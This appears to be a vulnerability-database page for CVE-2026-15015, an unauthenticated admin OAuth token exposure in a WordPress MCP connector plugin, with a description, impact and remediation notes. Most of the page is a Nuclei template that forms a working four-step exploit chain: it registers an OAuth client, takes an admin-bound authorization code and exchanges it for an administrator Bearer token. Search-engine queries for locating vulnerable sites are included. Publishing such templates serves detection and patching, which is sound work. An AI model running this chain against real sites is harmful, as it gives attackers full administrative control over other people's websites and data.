CVE-2026-15015: MountDev AI MCP Connector <= 1.6.1 - Unauthenticated Admin OAuth Token Exposure

2026-11-09 PoC Public

Description

MountDev AI MCP Connector for WordPress (mountdev-ai-mcp-connector) <= 1.6.1 is vulnerable to unauthenticated authorization bypass (CWE-862) via its OAuth 2.0 implementation. The plugin exposes a publicly accessible Dynamic Client Registration endpoint (/mcp-register) at WordPress init-level that allows any unauthenticated caller to register arbitrary OAuth clients. The subsequent authorization endpoint (/wp-json/mountdev-ai-mcp-connector/v1/oauth/authorize) then auto-approves the OAuth flow using the first WordPress administrator account found via get_users({role: administrator, number: 1}), issuing an admin-bound authorization code without checking who is making the request. Exchanging this code at /mcp-token yields a full Bearer token granting administrator-equivalent access to the MCP tool surface and all exposed WordPress content, users, options, and settings.

Details

CVE
CVE-2026-15015 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-15015

info:
  name: MountDev AI MCP Connector <= 1.6.1 - Unauthenticated Admin OAuth Token Exposure
  author: DhiyaneshDk
  severity: critical
  description: |
    MountDev AI MCP Connector for WordPress (mountdev-ai-mcp-connector) <= 1.6.1 is vulnerable to unauthenticated authorization bypass (CWE-862) via its OAuth 2.0 implementation. The plugin exposes a publicly accessible Dynamic Client Registration endpoint (/mcp-register) at WordPress init-level that allows any unauthenticated caller to register arbitrary OAuth clients. The subsequent authorization endpoint (/wp-json/mountdev-ai-mcp-connector/v1/oauth/authorize) then auto-approves the OAuth flow using the first WordPress administrator account found via get_users({role: administrator, number: 1}), issuing an admin-bound authorization code without checking who is making the request. Exchanging this code at /mcp-token yields a full Bearer token granting administrator-equivalent access to the MCP tool surface and all exposed WordPress content, users, options, and settings.
  impact: |
    Unauthenticated remote attackers can obtain Bearer tokens bound to a WordPress administrator account, granting complete administrative control via the MCP interface including read/write access to all posts, pages, users, plugins, themes, site settings, and database options.
  remediation: |
    Update the MountDev AI MCP Connector plugin to version 1.6.2 or later, which adds proper authorization checks to the Dynamic Client Registration and authorization endpoints.
  reference:
    - https://github.com/les-k/wp-secure-mcp
    - https://plugins.trac.wordpress.org/browser/mountdev-ai-mcp-connector/tags/1.6.0/includes/class-oauth-controller.php#L370
    - https://nvd.nist.gov/vuln/detail/CVE-2026-15015
    - https://www.rapid7.com/db/vulnerabilities/cve-2026-15015/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-15015
    epss-score: 0.02647
    epss-percentile: 0.85711
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    vendor: developer-developer-developer
    product: mountdev-ai-mcp-connector
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/mountdev-ai-mcp-connector/"
    fofa-query: body="/wp-content/plugins/mountdev-ai-mcp-connector/"
    publicwww-query: "/wp-content/plugins/mountdev-ai-mcp-connector/"
  tags: cve,cve2026,wordpress,wp-plugin,authorization-bypass,oauth,token-exposure,vkev

variables:
  client_name: "{{randstr}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /wp-content/plugins/mountdev-ai-mcp-connector/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "MCP Connector")'
          - 'compare_versions(plugin_version, "<= 1.6.1")'
        condition: and

    extractors:
      - type: regex
        name: plugin_version
        part: body
        group: 1
        regex:
          - "(?i)Stable tag:\\s*([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)"
        internal: true

  - raw:
      - |
        POST /mcp-register HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"redirect_uris":["{{RootURL}}"],"client_name":"{{client_name}}","token_endpoint_auth_method":"client_secret_post"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "client_id") && contains(body, "client_secret")'
          - 'status_code == 201'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: client_id
        part: body
        group: 1
        regex:
          - '"client_id"\s*:\s*"([^"]+)"'
        internal: true

      - type: regex
        name: client_secret
        part: body
        group: 1
        regex:
          - '"client_secret"\s*:\s*"([^"]+)"'
        internal: true

  - raw:
      - |
        GET /wp-json/mountdev-ai-mcp-connector/v1/oauth/authorize?client_id={{client_id}}&redirect_uri={{RootURL}}&response_type=code&scope=mcp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "code=")'
          - 'status_code == 302'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: auth_code
        part: header
        group: 1
        regex:
          - "code=([a-zA-Z0-9]+)"
        internal: true

  - raw:
      - |
        POST /mcp-token HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        grant_type=authorization_code&code={{auth_code}}&client_id={{client_id}}&client_secret={{client_secret}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "access_token") && contains(body, "Bearer")'
          - 'contains(header, "application/json")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: access_token
        part: body
        group: 1
        regex:
          - '"access_token"\s*:\s*"([^"]+)"'
# digest: 4a0a0047304502205e991da4be6fd8ef9abf984f0b7c5afb67439ad8d85c66e2ecf9ab8021e2463a022100e203b02d6e0c94da3f3cf9579173d86247d54554a4f77454ac81adde281e42b1:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life